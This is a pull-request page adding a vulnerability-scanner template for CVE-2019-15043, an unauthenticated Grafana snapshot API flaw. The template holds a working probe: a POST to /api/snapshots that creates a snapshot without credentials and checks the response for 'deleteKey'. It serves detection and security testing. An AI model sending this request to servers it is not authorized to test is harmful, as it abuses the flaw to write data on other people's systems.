Merge pull request #185 from bing0o/master

Create CVE-2019-15043.yaml
projectdiscovery · Jul 5, 2020 · 3d0898c · 3d0898c
2 parents 84f05e3 + c40cd52
commit 3d0898c
Showing 1 changed file with 23 additions and 0 deletions.
diff --git a/cves/CVE-2019-15043.yaml b/cves/CVE-2019-15043.yaml
@@ -0,0 +1,23 @@
+id: CVE-2019-15043
+info:
+  author: bing0o
+  name: Grafana unauthenticated API
+  severity: medium
+requests:
+  - body: >-
+      {"dashboard":
+      {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows":
+      [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires":
+      3600}
+    headers:
+      Content-Type: application/json
+      Host: '{{Hostname}}'
+      User-Agent: Mozilla/5.0
+    matchers:
+      - part: body
+        type: word
+        words:
+          - deleteKey
+    method: POST
+    path:
+      - '{{BaseURL}}/api/snapshots'